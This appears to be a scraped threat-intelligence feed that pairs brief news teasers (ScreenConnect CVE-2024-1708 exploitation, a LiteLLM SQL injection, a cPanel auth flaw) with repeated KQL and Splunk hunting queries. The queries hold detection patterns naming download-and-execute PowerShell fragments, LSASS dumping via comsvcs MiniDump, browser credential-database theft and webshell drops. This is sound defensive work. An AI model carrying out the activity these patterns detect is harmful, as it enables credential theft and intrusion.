by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
2026-04-296 use cases3 techniques6 kill-chain phases detected
Every security team has a version of the same story. The quarter ends with hundreds of vulnerabilities closed. The dashboards are bursting with green. Then someone in a leadership meeting asks: "So, are we actually safer now?" Crickets. The room goes quiet because an honest answer requires context – which is something that patch counts and CVSS scores were never designed to provide. Exposure
CVEsCVE-2026-33626CVE-2026-32202CVE-2026-3854
ATT&CKT1176T1190T1195.002
Click any ATT&CK pill below to open it on the Matrix
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-33626", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
2026-04-292 use cases0 techniques4 kill-chain phases detected
Just as AI brings time-saving advantages to our lives, it brings similar advantages to threat actors. We can take the advantage back. This blog shows how generative AI can be used to rapidly deploy adaptive honeypot systems.
CVEsCVE-2014-6271
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2014-6271")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2014-6271")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Article-specific behavioural hunt — AI-powered honeypots: Turning the tables on malicious AI agentsInstallationHigh
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1204.002
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — AI-powered honeypots: Turning the tables on malicious AI agents
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FolderPath has_any ("/usr/local"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — AI-powered honeypots: Turning the tables on malicious AI agents ```
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_path="*/usr/local*")
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
2026-04-294 use cases3 techniques6 kill-chain phases detected
cPanel has released security updates to address a security issue impacting various authentication paths that could allow an attacker to obtain access to the control panel software. The problem affects all currently supported versions of cPanel and WebHost Manager (WHM), according to an alert published by WebPros on Tuesday. It does not have an official identifier. The issue has been addressed in
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-41940", "CVE-2026-33626", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
2026-04-2910 use cases5 techniques6 kill-chain phases detected
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Tuesday added two security flaws impacting ConnectWise ScreenConnect and Microsoft Windows to its Known Exploited Vulnerabilities (KEV) catalog, based on evidence of active exploitation. The vulnerabilities are listed below - CVE-2024-1708 (CVSS score: 8.4) - A path traversal vulnerability in ConnectWise ScreenConnect
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2024-1708", "CVE-2026-32202", "CVE-2026-21510", "CVE-2026-21513", "CVE-2024-1709", "CVE-2026-33626", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
[LLM] ConnectWise ScreenConnect Zip Slip (CVE-2024-1708) webshell drop in App_Extensions rootExploitationHigh
Hunts the post-auth path traversal/Zip Slip used to escape the GUID-scoped extension folder and drop a webshell or binary directly under ScreenConnect's App_Extensions root. Legitimate ScreenConnect extensions are always extracted into a GUID-named subdirectory, so any .aspx/.ashx/.exe/.dll/.ps1 written at the App_Extensions root is highly indicative of CVE-2024-1708 exploitation chained with CVE-2024-1709 (Storm-1175 / Medusa ransomware activity).
Rationale: Huntress and Unit42 confirm legitimate extensions live in GUID subdirectories under C:\Program Files (x86)\ScreenConnect\App_Extensions\, while CVE-2024-1708 Zip Slip writes directly to the root. The path-and-extension combination is unique to this exploit and avoids overlap with generic webshell rules.
Cross-checked against:
• https://www.huntress.com/threat-library/vulnerabilities/cve-2024-1708
• https://unit42.paloaltonetworks.com/connectwise-threat-brief-cve-2024-1708-cve-2024-1709/
• https://arcticwolf.com/resources/blog/cve-2024-1709-cve-2024-1708-follow-up-active-exploitation-and-pocs-observed-for-critical-screenconnect-vulnerabilities/
• https://www.cisa.gov/news-events/alerts/2026/04/28/cisa-adds-two-known-exploited-vulnerabilities-catalog
ATT&CKT1190T1505.003T1574
Data sourcesEndpoint.Filesystem
DeviceFileEvents
| where FolderPath endswith @"\ScreenConnect\App_Extensions" or FolderPath endswith @"\ScreenConnect\App_Extensions\"
| where FileName matches regex @"(?i)\.(aspx|ashx|asmx|ascx|exe|dll|ps1|jsp|js)$"
| where InitiatingProcessFileName !in~ ("msiexec.exe","ScreenConnect.UpdaterService.exe")
| project Timestamp, DeviceName, FolderPath, FileName, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName, SHA256
| order by Timestamp desc
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where Filesystem.file_path="*\\ScreenConnect\\App_Extensions\\*" by Filesystem.dest Filesystem.user Filesystem.file_path Filesystem.file_name Filesystem.process_name Filesystem.process_id
| `drop_dm_object_name(Filesystem)`
| rex field=file_path "App_Extensions\\\\(?<remainder>.*)$"
| eval is_root_drop=if(match(remainder, "^[^\\\\\\/]+$"), 1, 0)
| where is_root_drop=1 AND match(file_name, "(?i)\\.(aspx|ashx|asmx|ascx|exe|dll|ps1|jsp|js)$")
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Detects the ScreenConnect on-prem server process (ScreenConnect.Service.exe) launching command-line interpreters or LOLBins, which is the typical execution path after a CVE-2024-1708 Zip Slip-dropped .aspx/.ashx webshell is invoked. Microsoft has attributed in-the-wild chaining of CVE-2024-1709/1708 to Storm-1175 deploying Medusa ransomware, and this hunt catches the very first hands-on-keyboard step before lateral movement.
Rationale: ScreenConnect.Service.exe is the on-prem server host process and should not be a legitimate parent of cmd/powershell/discovery LOLBins; this is the canonical signal that an attacker-uploaded extension webshell has been executed. We exclude ScreenConnect.WindowsClient.exe (legitimate remote-support sessions) to keep FPs near zero.
Cross-checked against:
• https://www.huntress.com/blog/a-catastrophe-for-control-understanding-the-screenconnect-authentication-bypass
• https://unit42.paloaltonetworks.com/connectwise-threat-brief-cve-2024-1708-cve-2024-1709/
• https://www.cybersecuritydive.com/news/cisa-microsoft-connectwise-kev-update/818817/
ATT&CKT1505.003T1059.001T1059.003
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName =~ "ScreenConnect.Service.exe"
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","certutil.exe","bitsadmin.exe","mshta.exe","rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe","whoami.exe","net.exe","net1.exe","nltest.exe","systeminfo.exe","tasklist.exe","curl.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessFolderPath, FileName, ProcessCommandLine, InitiatingProcessCommandLine
| order by Timestamp desc
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name="ScreenConnect.Service.exe" Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","certutil.exe","bitsadmin.exe","mshta.exe","rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe","whoami.exe","net.exe","net1.exe","nltest.exe","systeminfo.exe","tasklist.exe","curl.exe") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-04-297 use cases3 techniques6 kill-chain phases detected
In yet another instance of threat actors quickly jumping on the exploitation bandwagon, a newly disclosed critical security flaw in BerriAI's LiteLLM Python package has come under active exploitation in the wild within 36 hours of the bug becoming public knowledge. The vulnerability, tracked as CVE-2026-42208 (CVSS score: 9.3), is an SQL injection that could be exploited to modify the underlying
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-42208", "CVE-2026-33626", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
